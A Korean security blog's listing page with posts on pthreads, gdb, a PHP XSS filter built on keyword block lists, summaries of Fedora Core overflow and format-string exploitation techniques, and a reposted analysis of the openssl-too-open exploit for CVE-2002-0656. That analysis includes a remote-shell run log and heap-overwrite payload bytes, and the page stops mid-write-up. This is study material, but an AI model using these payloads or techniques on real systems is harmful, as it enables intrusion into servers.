'k1rha`s Node'에 해당되는 글 388건

  1. 2013.03.19 리눅스 pthread 사용시 라이브러리 추가 옵션.
  2. 2013.03.16 gdb, 메모리에서 특정 값 검색하기
  3. 2013.03.10 PHP XSS (cross site scripting) filter function
  4. 2013.03.05 구홍이 형이 쓰신 페도라 오버플로우 공략법 글
  5. 2013.02.15 Apache OpenSSL heap overflow exploit
  6. 2013.02.13 [2013-02-13] 시작 , 창의 과제 취합 관련
  7. 2013.01.29 [ python 해킹프로그래밍 1.] 윈도우 디버깅 개발 코드
  8. 2013.01.29 퍼징의 종류 설명 (explain of Fuzzing figure)
  9. 2013.01.29 fopen()으로 헥사값을 고치기 위한 방법
  10. 2013.01.23 크로스 사이트 스크립트 치트시트 (XSS Cheat sheet)
  11. 2012.12.22 [비공개] iptime G104 7.60v
  12. 2012.12.21 [python 2.7] telnetlib를 이용한 telnet 접속하기
  13. 2012.12.20 [C] 덤프 메모리를 가져오는 dumpcode.h
  14. 2012.12.20 Zap3.c 로그지우는 프로그램
  15. 2012.12.19 Linux sock_sendpage() NULL Local Root Exploit
  16. 2012.12.18 ARM 쉘코드 만들기(To make shellcode in ARM architecture)
  17. 2012.12.06 IDA 에서 __OFSUB__ 이란? (what is __OFSUB__ in IDA pro?)
  18. 2012.12.03 타이핑 효과 내는 자바스크립트 코드 (Javascript Code to typing effect)
  19. 2012.12.02 UPNP XML 로 포트 포워딩하는 프로토콜 분석 (Analysis of port forwarding packet via UPNP)
  20. 2012.12.01 ARM 쉘코드 getgid 추가
  21. 2012.12.01 공유기 UPNP 로 포트포워딩처럼 열어주는 프로그램
  22. 2012.11.30 [펌] upnp 접속 개발 구현 1
  23. 2012.11.29 웹쉘 에사용되는 함수 점검하는 스크립트~ (Script, Finding using function in webshell)
  24. 2012.11.28 C opt 줘서 argv 인자값을 옵션화 시키기 getopt 옵션
  25. 2012.11.28 리눅스 계정 만료일 정하기
  26. 2012.11.26 Zeroboard XE 1.5.3.3 admin 페이지의 webshell 인젝션 취약점
  27. 2012.11.25 [ 링크 ] NFC 의 기초 지식에 대하여..
  28. 2012.11.14 [ 펌 ] CGI 환경 lighttpd 설치하기 및 셋팅하기. (To set about CGI enviroment)
  29. 2012.11.14 tcpdump 간단한 예시 (Example about simple tcpdump command)
  30. 2012.11.14 CGI 분석 이야기 (The story of CGI analysis)
2013. 3. 19. 23:15


#gcc -o pthread pthread.c -lpthread



#include <unistd.h> 

#include <stdio.h> 

#include <stdlib.h>

#include <pthread.h> 


#define THREADS 3


__thread int tls;


int global;


void *func(void *arg){

int num=(int)arg;

tls = num;

global =(int) num;

sleep(1);

printf("Thread=%d tls=%d global=%d\n",num,tls,global);

}


int main(){


int ret;

pthread_t thread[THREADS];

int num;


for(num=0;num<THREADS;num++){

ret=pthread_create(&thread[num],NULL,&func,(void *)num);

if(ret){

printf("error pthread_create\n");

exit(1);

}

}

for (num=0;num<THREADS;num++){

ret=pthread_join(thread[num],NULL);

if(ret){

printf("error pthread_join\n");

}

}


return 0;

}

Posted by k1rha
2013. 3. 16. 14:17


 gdb, 메모리에서 특정 값 검색하기



(gdb) set $x=0x08071000

(gdb) while(*++$x!=0x90909090)

>end

(gdb) x/10b $x



by.WISEGUYZ

Posted by k1rha
2013. 3. 10. 23:39

PHP XSS (cross site scripting) filter function Web hacking

출처 : http://kallahar.com/smallprojects/php_xss_filter_function.php

function RemoveXSS($val) {
 
   // remove all non-printable characters. CR(0a) and LF(0b) and TAB(9) are allowed 
   // this prevents some character re-spacing such as <java\0script> 
   
// note that you have to handle splits with \n, \r, and \t later since they *are* 
   // allowed in some inputs
 
   $val = preg_replace('/([\x00-\x08][\x0b-\x0c][\x0e-\x20])/''', $val); 
    
   // straight replacements, the user should never need these since they're normal characters 
   
// this prevents like <IMG SRC=&#X40&#X61&#X76&#X61&#X73&#X63&#X72&#X69&#X70&#X74&
   // #X3A&#X61&#X6C&#X65&#X72&#X74&#X28&#X27&#X58&#X53&#X53&#X27&#X29>
 
   $search = 'abcdefghijklmnopqrstuvwxyz'
   $search .= 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
   $search .= '1234567890!@#$%^&*()'
   $search .= '~`";:?+/={}[]-_|\'\\'
   for ($i = 0; $i < strlen($search); $i++) { 
   // ;? matches the ;, which is optional 
   // 0{0,7} matches any padded zeros, which are optional and go up to 8 chars 
    
   // &#x0040 @ search for the hex values 
      $val = preg_replace('/(&#[x|X]0{0,8}'.dechex(ord($search[$i])).';?)/i', $search[$i], $val); 
      // with a ; 

      // &#00064 @ 0{0,7} matches '0' zero to seven times 
      $val = preg_replace('/(&#0{0,8}'.ord($search[$i]).';?)/', $search[$i], $val); // with a ; 
   } 
    
   // now the only remaining whitespace attacks are \t, \n, and \r 
   $ra1 = Array('javascript''vbscript''expression''applet''meta''xml''blink''link''style'
'script''embed''object''iframe''frame''frameset''ilayer''layer''bgsound''title''base'); 
   $ra2 = Array('onabort''onactivate''onafterprint''onafterupdate''onbeforeactivate','onbeforecopy''onbeforecut''onbeforedeactivate''onbeforeeditfocus''onbeforepaste','onbeforeprint''onbeforeunload''onbeforeupdate''onblur''onbounce''oncellchange''onchange','onclick''oncontextmenu''oncontrolselect''oncopy''oncut''ondataavailable''ondatasetchanged','ondatasetcomplete''ondblclick''ondeactivate''ondrag''ondragend''ondragenter''ondragleave','ondragover''ondragstart''ondrop''onerror''onerrorupdate''onfilterchange''onfinish''onfocus','onfocusin''onfocusout''onhelp''onkeydown''onkeypress''onkeyup''onlayoutcomplete','onload''onlosecapture''onmousedown''onmouseenter''onmouseleave''onmousemove','onmouseout''onmouseover''onmouseup''onmousewheel''onmove''onmoveend','onmovestart''onpaste''onpropertychange''onreadystatechange''onreset''onresize','onresizeend''onresizestart''onrowenter''onrowexit''onrowsdelete''onrowsinserted''onscroll','onselect''onselectionchange''onselectstart''onstart''onstop''onsubmit''onunload'); 
   $ra = array_merge($ra1, $ra2); 
    
   $found = true; // keep replacing as long as the previous round replaced something 
   while ($found == true) { 
      $val_before = $val; 
      for ($i = 0; $i < sizeof($ra); $i++) { 
         $pattern = '/'
         for ($j = 0; $j < strlen($ra[$i]); $j++) { 
            if ($j > 0) { 
               $pattern .= '('
               $pattern .= '(&#[x|X]0{0,8}([9][a][b]);?)?'
               $pattern .= '|(&#0{0,8}([9][10][13]);?)?'
               $pattern .= ')?'
            } 
            $pattern .= $ra[$i][$j]; 
         } 
         $pattern .= '/i'
         $replacement = substr($ra[$i], 0, 2).'<x>'.substr($ra[$i], 2); // add in <> to nerf the tag 
         $val = preg_replace($pattern, $replacement, $val); // filter out the hex tags 
         if ($val_before == $val) { 
            // no replacements were made, so exit the loop 
            $found = false; 
         } 
      } 
   } 
   return $val; 

Posted by k1rha
2013. 3. 5. 23:06



구홍이 형이 쓰신 페도라 오버플로우 공략법 글


http://x82.inetcop.org/h0me/papers/FC_exploit/


이제 Fedora 공략이라하면 x82님의 문서가 거의 바이블이 되었네욤 

fedora쪽은 관심이 쉽게 안 가서 대충만 읽어봤었는데 PADOCON을 계기로 필 받아 

정독 후 정리를 해보았습니다 (대회가 이래서 좋아요ㅋ)


Fedora Core 5, 6 based remote random-library breaker 

http://x82.inetcop.org/h0me/papers/FC_exploit/FC_oneshot_exploit.txt

- buffer overflow 대상입니다

- 라이브러리 함수들의 주소는 바뀔지언정 offset은 동일하다는

특징을 이용하여, 참조가 쉬운(PLT가 있는)다른 함수들의 주소를 

기반으로 execl 함수의 주소를 한 바이트씩 조합해 냅니다.

- 특정 함수의 GOT를 덮어씌은 후 그 함수의 PLT를 호출합니다.

- 결국 Random Library를 무력화 시킵니다.

- NULL을 사용하지 않으므로 아스키아머를 무력화 시킵니다.

- 덮어 씌우기 절차는 다음과 같습니다     

execve의 주소 : 00 dc 08 00

첫번째 복사 :   00 

두번째 복사 :      dc 0c 00

세번째 복사 :         08 00

- execve 함수의 인자 구성 방법

  - 첫째 인자 : binary image 상에서 /bin/sh등의 문자열을 구한다

  - 둘째, 셋째 인자 : NULL

  - 예제에선 /usr/local/bin/ftpdctl 문자열의 주소를 사용합니다 

    (이를 통해 명령 실행이 가능하다고 합니다)

- 의문사항

   - GOT에 함수의 offset 값이 들어간다고 하는데 FC1에서 테스트

     해보니 GOT에 함수의 절대주소가 들어가 있네요 흠.. 

     FCx 이후로 바뀐건가.. 조만간 테스트 예정입니다



Fedora Core 3 based local random-stack brute-force breaker 

http://x82.inetcop.org/h0me/papers/FC_exploit/random-stack%20brute-force%20breaker.txt

- BOF와 FS 모두에 유효

- Random Library가 아닐 때에 유효합니다. (FC3 이하)

- 기존 방법과 비교했을 때 binary image가 아닌 stack에서 인자를 찾는 점만 다릅니다

- ASCII armor 우회로는 fake ebp 사용

- target과 버퍼 환경을 동일하게 구성한 후 자식 프로그램으로

실행할 경우 적은 빈도수로 같은 주소가 형성됨을 이용합니다.

(페도라3까지 유효(?), 페도라4에서 패치(?), 하지만 이후 패치 사라짐(?))

- 추가> 페도라1에선 안 되네요 읏흠

- 추가> 페도라3에서도 안 되네요 ㅠ.ㅠ



Fedora Core 3 based GOT, PLT overwrite exploit method 

http://x82.inetcop.org/h0me/papers/FC_exploit/another_overwrite.txt

- BOF, FS에 유효

- 일반적인 GOT overwriting에 대해 설명합니다

- Random Library가 아닐 때 유효 (FC3 이하)

- GOT 영역 덮어쓰기에 대한 내용입니다.

- printf의 GOT를 system으로 덮은 후 printf의 PLT 호출


Fedora Core 3 based shellcode local & remote format string exploit method (Part #1) 

http://x82.inetcop.org/h0me/papers/FC_exploit/shellcode_overwrite.txt

- FS에서만 유효합니다

- MAPS 상에선 HEAP 영역에 실행 권한이 없지만 실제로는 있기

때문에 쉘코드를 올리고 실행할 수 있음을 증명하는 내용입니다. (페도라 3이하)

- 정확히는 Binary Image이 사용하는 .data 영역입니다

(이 다음 문서에서도 .data라고 설명하고 있습니다)

08048000-08049000 r-xp 00000000 fd:00 311375     /tmp/vuln

08049000-0804a000 rw-p 00000000 fd:00 311375     /tmp/vuln <- 여기

- 그럼 SRC가 되는 쉘코드의 주소는 어떻게 찾나?

-> 쉘코드의 주소를 찾는게 아니라 FS를 이용하여 직접 쉘코드를 입력합니다


Fedora Core 4,5,6 based shellcode local format string exploit method (Part #2) 

http://x82.inetcop.org/h0me/papers/FC_exploit/library_terror/

- FS에서만 유효합니다

- 이전 문서와 비슷하지만 HEAP이 아닌 Library 영역에 쉘코드를 올리고 실행하는 내용입니다.

- Library 주소 영역 내의 NULL 바이트 방어 우회가 핵심입니다.

- printing space 쪼개기 + $-flag + 환경 변수(or argv) 이용

- 환경 변수가 A=B\0C=D\0 형태로 이루어져있다는 점을 이용합니다

- 환경 변수(스택)의 주소는 $flag를 이용하여 상대참조합니다


Fedora Core 3,4,5,6 based remote format string exploit method 

http://x82.inetcop.org/h0me/papers/FC_exploit/FC-remote_do_system.txt

- FS에만 유효

- execve대신 system을 써보자에서 시작 

- do_system 함수를 이용하 execve보다 인자 구성이 쉬워집니다

- system 대신 do_system 함수를 사용하는 이유는 %ebp+8 위치의 

값을 %eax 레지스터에 넣는 과정을 무시하기 위해서입니다)

- 그리고 %eax는 DTORS+4 위치의 값이 됩니다


Fedora Core 3,4 based local format string exploit method (Part #1) 

http://x82.inetcop.org/h0me/papers/FC_exploit/FC_local_do_system.txt

- FS에만 유효

- 이번엔 do_system 함수를 로컬에서 활용합니다.

- setuid(0) -> do_system("sh"); 순서로 실행합니다.

- 어떻게 ASCII Armor를 우회하여 함수를 여러번 실행하나?

-> DTORS 체인의 특성을 이용하여 여러 번 함수를 호출합니다.

- setuid가 호출될 때 ebp+8이 0인 환경에서만 가능하단 단점이 있습니다.


Fedora Core 3,4,5,6 based local format string exploit method (Part #2) 

http://x82.inetcop.org/h0me/papers/FC_exploit/FC_local_do_system2.txt

- FS에만 유효

- setuid가 호출될 때 ebp+8이 0이여만한다는 문제점 해결

- dtors에 __do_global_dtors_aux()를 호출하여 ebp 위치 이동

- 다른 함수를 호출해도 ebp 이동 가능할 것 같지만 함수 에필로그에

ebp를 복구하므로 안 됨, 하지만 __do_global_dtors_aux()의 경우

에필로그 전에 dtors를 다시 호출하므로 가능

- 운 좋으면 한 번의 ebp 이동으로 0을 만날 수 있음 (target에 따라 다름)

- 문제는 그렇지 않은 경우, heap을 망가뜨리고 비정상 종료될 수 있음

- 따라서 dtors 테이블의 시작 주소를 강제로 변경하여 공격 수행

- 헐 x82님 짱 -_-b


Fedora Core 3,4,5,6 based local format string exploit method (Part #3) 

http://x82.inetcop.org/h0me/papers/FC_exploit/exec_format_string.txt

- FS에만 유효

- 위 문서대로 공격하면 uid 0만을 얻을 수 있다는 단점 보완

- exec* 함수 이용

- execve 보다 인자가 적은 execv 이용 

- 하지만 그냥 exev를 호출하면 인자들이 invalid

- __do_global_dtors_aux()를 이용하여 올바른 인자가 나올때까지 스택 변경

- __do_global_dtors_aux()+27(call 직후) 주소 실행

- 그럼 __do_global_dtors_aux+27의 주소가 execv의 첫 번째 인자가 됨

- 해당 기계어 코드와 동일한 심볼릭 링크 파일 생성


Fedora Core 3 based remote buffer overflow method 

http://x82.inetcop.org/h0me/papers/FC_exploit/FC3_remote_bof.txt

- BOF에만 해당

- 현재 esp에 원하는 데이터가 들어있지 않을 때, ret(pop eip)를

여러번 호출하여 원하는 데이터까지 이동시키는 방법을 설명합니다.

- 심볼릭 링크나 메모리에서 찾은 /bin/sh 문자열을 이용하는 것이

아닌, 직접 스택에 sh 문자열을 넣어 system 함수의 인자로 전달하는

것이 특징입니다. (리모트 환경에서 유리)

- 게다가 system 함수에 아스키아머가 있어 어차피 그 뒤로 인자를

이어 넣는 것이 불가능합니다.

- main의 sfp에 넣은 값이 특정 환경 하에선 system의 인자로 참조된다는

구조상의 특징을 이용합니다.

- main의 sfp -> leave하면서 ebp가 된다 -> call system 직후

push ebp가 된다 -> mov esp, ebp가 된다 -> 운 좋게도 ebp+8의

값이 ebp-8의 위치를 가리키게 된다

- FC3까지 유효

- 의문 : 문서의 system 함수에는 아스키아머가 없네요 오잉


Fedora Core 4,5,6 based local stack overflow exploit method (Part #1) 

http://x82.inetcop.org/h0me/papers/FC_exploit/FC4_local_overflow.txt

- ret 코드 반복 실행을 통한 esp sleding 

- 스택에 valid한 인자들이 나타날 때까지 sleding 

- execve나 ret 코드의 주소는 반복 출현 기반의 brute force로 찾음

- ret 코드는 binary image 주소 영역에서 찾음 (고정적)


Fedora Core 4,5,6 based local environment stack overflow exploit method (Part #2) 

http://x82.inetcop.org/h0me/papers/FC_exploit/FC_local_environ_bof.txt

- 위와 동일하지만 valid한 인자를 환경 변수로 직접 등록합니다

- 등록된 문자열의 주소는 어떻게 찾는가?

-> 환경변수 포인터를 이용합니다, 

오홋! **argv 뒤쪽에 보이던 것들이 바로 환경변수 포인터였군요!

0xbffa6e20  61 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00   a...............

0xbffa6e30  00 00 00 00 98 89 a6 00 00 00 00 00 98 89 a6 00   ................

0xbffa6e40  d4 6e fa bf e0 6e fa bf a8 6e fa bf 50 87 94 00   .n...n...n..P...

0xbffa6e50  02 00 00 00 d4 6e fa bf e0 6e fa bf 00 00 00 00   .....n...n......

0xbffa6e60  98 89 a6 00 20 00 93 00 b4 86 04 08 a8 6e fa bf   .... ........n..

0xbffa6e70  50 6e fa bf 12 87 94 00 00 00 00 00 00 00 00 00   Pn..............

0xbffa6e80  00 00 00 00 04 05 93 00 02 00 00 00 34 83 04 08   ............4...

0xbffa6e90  00 00 00 00 10 74 92 00 40 7b 92 00 04 05 93 00   .....t..@{......

0xbffa6ea0  02 00 00 00 34 83 04 08 00 00 00 00 55 83 04 08   ....4.......U...

0xbffa6eb0  e2 85 04 08 02 00 00 00 d4 6e fa bf 6c 86 04 08   .........n..l...

0xbffa6ec0  b4 86 04 08 40 7b 92 00 cc 6e fa bf b2 dd 92 00   ....@{...n......

0xbffa6ed0  02 00 00 00 e8 ec fb bf ec ec fb bf 00 00 00 00   ................

0xbffa6ee0  ee ec fb bf ff ec fb bf 0f ed fb bf 1a ed fb bf   ................

0xbffa6ef0  28 ed fb bf 32 ed fb bf f5 ee fb bf 0f ef fb bf   (...2...........

0xbffa6f00  61 ef fb bf 76 ef fb bf 85 ef fb bf 96 ef fb bf   a...v...........

0xbffa6f10  9e ef fb bf ae ef fb bf bb ef fb bf dd ef fb bf   ................

0xbffa6f20  f2 ef fb bf 00 00 00 00 10 00 00 00 ff fb eb 0f   ................

0xbffa6f30  06 00 00 00 00 10 00 00 11 00 00 00 64 00 00 00   ............d...

0xbffa6f40  03 00 00 00 34 80 04 08 04 00 00 00 20 00 00 00   ....4....... ...

0xbffa6f50  05 00 00 00 07 00 00 00 07 00 00 00 00 00 00 00   ................


Fedora Core 4 based -pie compile binary local stack overflow exploit 

http://x82.inetcop.org/h0me/papers/FC_exploit/0x82-breakeat-pie.txt

- pie 옵션으로 컴파일된 target에 대한 공격 테스트입니다.

- pie 옵션으로 컴파일되면 binary image마져 ASLR이 걸립니다.

- 하지만 아무런 인자 설정 없이 execve를 실행했을 때 random하게

특정 문자열을 참조하기 때문에 brute force로 해결이 가능합니다.


CentOS 4.2 based local stack overflow exploit (also, Whitebox Linux 4) 

- 앞서 연구한 것들이 CentOS에서도 먹히는지 확인 -> 먹힘


Fedora Core 5,6 based main() function stack overflow exploit method 

http://x82.inetcop.org/h0me/papers/FC_exploit/FC5_main_function.txt

- fedora5부터 새로 생긴 ecx canary 공략 방법에 대해 설명합니다.

- canary의 최하위 1바이트만 00로 만든다 -> 그럼 지역변수 위치를

가리키게 된다. -> ret sled를 이용하여 esp를 더할 수 있는만큼 더한다.

- main 함수의 에필로그를 한번 더 실행시킨다. (esp 대폭 이동->환경변수)

- 환경 변수 영역엔 execve의 주소와 valid한 인자들이 위치한다.



beist의 fedora overflow 요약

- execl+n으로 뛴다. 그럼 ebp+8이 아닌, ebp에서 인자참조하게된다.

- payload는 [string] [execl+n]으로 구성한다.






http://work.hackerschool.org/DOWNLOAD/TheLordOfTheBOF/VM_Fedora10.rar


위 Fedora 10 vm image엔 세 개의 BOF 문제가 준비되어 있습니다.


로그인 계정은 titan/out of the night 입니다.


관심 있으신 분들은 한번 풀어보세욥!






'System_Hacking' 카테고리의 다른 글

[R.O.P.] ropeme 사용하여 ROP 가젯 쉽게 구하기.  (0) 2013.04.19
PLT & GOT 심층 분석.  (0) 2013.04.05
ARM 쉘코드 getgid 추가  (0) 2012.12.01
ASLR 끄는법?!  (0) 2012.10.30
[코드 오딧팅] From 해킹캠프  (0) 2012.09.02
Posted by k1rha
2013. 2. 15. 13:05

Apache OpenSSL heap overflow exploit

CVE-2002-0656

openssl-too-open is a remote exploit for the KEY_ARG overflow in OpenSSL 0.9.6d and older. Tested against most major Linux distributions. Gives a remote nobody shell on Apache and remote root on other servers. Includes an OpenSSL vulnerability scanner and a detailed vulnerability analysis. Only Linux/x86 targets are supported.

Downloads

Screenshot

$ ./openssl-too-open -h
: openssl-too-open : OpenSSL remote exploit
  by Solar Eclipse <solareclipse@phreedom.org>

Usage: ./openssl-too-open [options] <host>
  -a <arch>          target architecture (default is 0x00)
  -p <port>          SSL port (default is 443)
  -c <N>             open N apache connections before sending the shellcode (default is 30)
  -m <N>             maximum number of open connections (default is 50)
  -v                 verbose mode

Supported architectures:
	0x00 - Gentoo (apache-1.3.24-r2)
	0x01 - Debian Woody GNU/Linux 3.0 (apache-1.3.26-1)
	0x02 - Slackware 7.0 (apache-1.3.26)
	0x03 - Slackware 8.1-stable (apache-1.3.26)
	0x04 - RedHat Linux 6.0 (apache-1.3.6-7)
	0x05 - RedHat Linux 6.1 (apache-1.3.9-4)
	0x06 - RedHat Linux 6.2 (apache-1.3.12-2)
	0x07 - RedHat Linux 7.0 (apache-1.3.12-25)
	0x08 - RedHat Linux 7.1 (apache-1.3.19-5)
	0x09 - RedHat Linux 7.2 (apache-1.3.20-16)
	0x0a - Redhat Linux 7.2 (apache-1.3.26 w/PHP)
	0x0b - RedHat Linux 7.3 (apache-1.3.23-11)
	0x0c - SuSE Linux 7.0 (apache-1.3.12)
	0x0d - SuSE Linux 7.1 (apache-1.3.17)
	0x0e - SuSE Linux 7.2 (apache-1.3.19)
	0x0f - SuSE Linux 7.3 (apache-1.3.20)
	0x10 - SuSE Linux 8.0 (apache-1.3.23-137)
	0x11 - SuSE Linux 8.0 (apache-1.3.23)
	0x12 - Mandrake Linux 7.1 (apache-1.3.14-2)
	0x13 - Mandrake Linux 8.0 (apache-1.3.19-3)
	0x14 - Mandrake Linux 8.1 (apache-1.3.20-3)
	0x15 - Mandrake Linux 8.2 (apache-1.3.23-4)

Examples: ./openssl-too-open -a 0x01 -v localhost
          ./openssl-too-open -p 1234 192.168.0.1 -c 40 -m 80


./openssl-too-open -a 0x14 192.168.0.1
: openssl-too-open : OpenSSL remote exploit
  by Solar Eclipse <solareclipse@phreedom.org>

: Opening 30 connections
  Establishing SSL connections

: Using the OpenSSL info leak to retrieve the addresses
  ssl0 : 0x810b3a0
  ssl1 : 0x810b360
  ssl2 : 0x810b4e0

* Addresses don't match.

: Opening 40 connections
  Establishing SSL connections

: Using the OpenSSL info leak to retrieve the addresses
  ssl0 : 0x8103830
  ssl1 : 0x80fd668
  ssl2 : 0x80fd668

* Addresses don't match.

: Opening 50 connections
  Establishing SSL connections

: Using the OpenSSL info leak to retrieve the addresses
  ssl0 : 0x8103830
  ssl1 : 0x8103830
  ssl2 : 0x8103830

: Sending shellcode
ciphers: 0x8103830   start_addr: 0x8103770   SHELLCODE_OFS: 184
  Reading tag
  Execution of stage1 shellcode succeeded, sending stage2
  Spawning shell...

bash: no job control in this shell
bash-2.05$ 
bash-2.05$ uname -a; id; w;
Linux localhost.localdomain 2.4.8-26mdk #1 Sun Sep 23 17:06:39 CEST 2001 i686 unknown
uid=48(apache) gid=48(apache) groups=48(apache)
  1:49pm  up  4:26,  1 user,  load average: 0.04, 0.07, 0.07
USER     TTY      FROM              LOGIN@   IDLE   JCPU   PCPU  WHAT
bash-2.05$

SSL2 handshake

It is important to understand the SSL2 handshake in order to successfully exploit the KEY_ARG vulnerability.

        Client           Server

     CLIENT_HELLO -->

                  <-- SERVER_HELLO

CLIENT_MASTER_KEY -->

                  <-- SERVER_VERIFY

  CLIENT_FINISHED -->

                  <-- SERVER_FINISHED

The CLIENT_HELLO message contains a list of the ciphers the client supports, a session id and some challenge data. The session id is used if the client wishes to reuse an already established session, otherwise it's empty.

The server replies with a SERVER_HELLO message, also listing all supported ciphers and includes a certificate with its public RSA key. The server also sends a connection id, which will later be used by the client to verify that the encryption works.

The client generates a random master key, encrypts it with the server's public key and sends it with a CLIENT_MASTER_KEY message. This message also specifies the cipher selected by the client and a KEY_ARG field, which meaning depends on the specified cipher. For DES-CBC ciphers, the KEY_ARG contains the initialization vector.

Now both the client and the server have the master key and they can generate the session keys from it. All messages from this point on are encrypted.

The server replies with a SERVER_VERIFY message, containing the challenge data from the CLIENT_HELLO message. If the key exchange has been successful, the client will be able to decrypt this message and the challenge data returned from the server will match the challenge data sent by the client.

The client sends a CLIENT_FINISHED message with a copy of the connection id from the SERVER_HELLO packet. It is now the server's turn to decrypt this message and check if the connection id returned by the client matches the connection it sent by the server.

Finally the server sends a SERVER_FINISHED message, completing the handshake. This message contains a session id, generated by the server. If the client wishes to reuse the session later, it can send this session id with the CLIENT_HELLO message.

The KEY_ARG buffer overflow

The bug is in ssl/s2_srvr.c, in the get_client_master_key() function. This function reads a CLIENT_MASTER_KEY packet and processes it. It reads the KEY_ARG_LENGTH value from the client and then copies that many bytes in an array of a fixed size. This array is part of the SSL_SESSION structure. If the client specifies a KEY_ARG longer than 8 bytes, the variables in the SSL_SESSION structure can be overwritten with user supplied data.

Let's look at the definition of this structure.

typedef struct ssl_session_st
    {
    int ssl_version;    /* what ssl version session info is
                         * being kept in here? */

    /* only really used in SSLv2 */
    unsigned int key_arg_length;
    unsigned char key_arg[SSL_MAX_KEY_ARG_LENGTH];
    int master_key_length;
    unsigned char master_key[SSL_MAX_MASTER_KEY_LENGTH];
    /* session_id - valid? */
    unsigned int session_id_length;
    unsigned char session_id[SSL_MAX_SSL_SESSION_ID_LENGTH];
    /* this is used to determine whether the session is being reused in
     * the appropriate context. It is up to the application to set this,
     * via SSL_new */
    unsigned int sid_ctx_length;
    unsigned char sid_ctx[SSL_MAX_SID_CTX_LENGTH];

    int not_resumable;

    /* The cert is the certificate used to establish this connection */
    struct sess_cert_st /* SESS_CERT */ *sess_cert;

    /* This is the cert for the other end.
     * On clients, it will be the same as sess_cert->peer_key->x509
     * (the latter is not enough as sess_cert is not retained
     * in the external representation of sessions, see ssl_asn1.c). */
    X509 *peer;
    /* when app_verify_callback accepts a session where the peer's certificate
     * is not ok, we must remember the error for session reuse: */
    long verify_result; /* only for servers */

    int references;
    long timeout;
    long time;

    int compress_meth;      /* Need to lookup the method */

    SSL_CIPHER *cipher;
    unsigned long cipher_id;    /* when ASN.1 loaded, this
                                 * needs to be used to load
                                 * the 'cipher' structure */

    STACK_OF(SSL_CIPHER) *ciphers; /* shared ciphers? */

    CRYPTO_EX_DATA ex_data; /* application specific data */

    /* These are used to make removal of session-ids more
     * efficient and to implement a maximum cache size. */
    struct ssl_session_st *prev,*next;
    } SSL_SESSION;

It really looks better with syntax coloring. Anyway, we know the size of the structure and it's allocated on the heap. The first thing that comes to mind is to overwrite the next malloc chunk and then make the OpenSSL code call free() on the SSL_SESSION structure.

After we send a CLIENT_MASTER_KEY message, we'll read a SERVER_VERIFY packet from the server and then we'll respond with a CLIENT_FINISHED message. The server uses this the contents of this message to verify that the key exchange succeeded. If we return a wrong connection id, the server will abort the connection and free the SSL_SESSION structure, which is exactly what we want.

We'll overwrite the KEY_ARG array with 8 random bytes and the following string:

unsigned char overwrite_next_chunk[] =
    "AAAA"                              /* int master_key_length; */
    "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
                                        /* unsigned char master_key[SSL_MAX_MASTER_KEY_LENGTH]; */
    "AAAA"                              /* unsigned int session_id_length; */
    "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"  /* unsigned char session_id[SSL_MAX_SSL_SESSION_ID_LENGTH]; */
    "AAAA"                              /* unsigned int sid_ctx_length; */
    "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"  /* unsigned char sid_ctx[SSL_MAX_SID_CTX_LENGTH]; */
    "AAAA"                              /* unsigned int sid_ctx_length; */
    "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"  /* unsigned char sid_ctx[SSL_MAX_SID_CTX_LENGTH]; */
    "AAAA"                              /* int not_resumable; */
    "\x00\x00\x00\x00"                  /* struct sess_cert_st *sess_cert; */
    "\x00\x00\x00\x00"                  /* X509 *peer; */
    "AAAA"                              /* long verify_result; */
    "\x01\x00\x00\x00"                  /* int references; */
    "AAAA"                              /* int timeout; */
    "AAAA"                              /* int time */  
    "AAAA"                              /* int compress_meth; */
    "\x00\x00\x00\x00"                  /* SSL_CIPHER *cipher; */
    "AAAA"                              /* unsigned long cipher_id; */
    "\x00\x00\x00\x00"                  /* STACK_OF(SSL_CIPHER) *ciphers; */
    "\x00\x00\x00\x00\x00\x00\x00\x00"  /* CRYPTO_EX_DATA ex_data; */
    "AAAAAAAA"                          /* struct ssl_session_st *prev,*next; */
    "\x00\x00\x00\x00"                  /* Size of previous chunk */
    "\x11\x00\x00\x00"                  /* Size of chunk, in bytes */
    "fdfd"                              /* Forward and back pointers */
    "bkbk"
    "\x10\x00\x00\x00"                  /* Size of previous chunk */
    "\x10\x00\x00\x00"                  /* Size of chunk, PREV_INUSE is set */

The "A" bytes don't affect the OpenSSL control flow. The other bytes must be set to specific values to make the exploit work. For example, the peer and sess_cert pointers must be NULL, because the SSL cleanup code will call free() on them before it frees the SSL_SESSION structure.

The free() call will write the value of the bk pointer to the memory address in the fd pointer + 12 bytes. We'll put our shellcode address in the bk pointer and we'll write it to the free() entry in the GOT table.

Getting the shellcode address

There is only one little problem. We need a place to put our shellcode and we need the exact shellcode address. The trick is to use the SERVER_FINISHED message. This message includes the session id, which is read from the SSL_SESSION structure. The server reads session_id_length bytes from the session_id[] array and sends them to the client. We can overwrite the session_id_length variable and complete the handshake. If session_id_length is long enough, the SERVER_FINISHED message will include the contents of the SSL_SESSION structure.

To get the contents of the session structure, we'll overwrite the KEY_ARG array with 8 random bytes and the following string:

unsigned char overwrite_session_id_length[] =
    "AAAA"                              /* int master_key_length; */
    "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
                                        /* unsigned char master_key[SSL_MAX_MASTER_KEY_LENGTH]; */
    "\x70\x00\x00\x00";                 /* unsigned int session_id_length; */

Now let's imagine the heap state when we send our connection request. We have a heap, which contains some allocated chunks of memory and a large 'top' chunk, covering all free memory.

When the server receives the connection, it forks a child and the child allocates the SSL_SESSION structure. If there has not been a signifficant malloc/free activity, the fragmentation of the memory will be low and the new chunk will be allocated from the beginning of the 'top' chunk.

The next allocated chunk is a 16 bytes chunk which holds a STACK_OF(SSL_CIPHER) structure. This chunk is also allocated from the beginning of the 'top' chunk, so it's located right above the SSL_SESSION structure. The address of this chunk is stored in the session->ciphers variable.

If we're lucky, the memory would look like this:

                    | top chunk |
                    |-----------|
session->ciphers    |  16 bytes |  <- STACK_OF(SSL_CIPHER) structure
points here      -> |-----------| 
                    | 368 bytes |  <- SSL_SESSION structure
                    |-----------|

We can read the session->ciphers pointer from the SSL_SESSION structure in the SERVER_FINISHED message. By subtracting 368 from it, we'll get the address of the SSL_SESSION structure, and thus the address of the data we've overwritten.

fork() is your friend

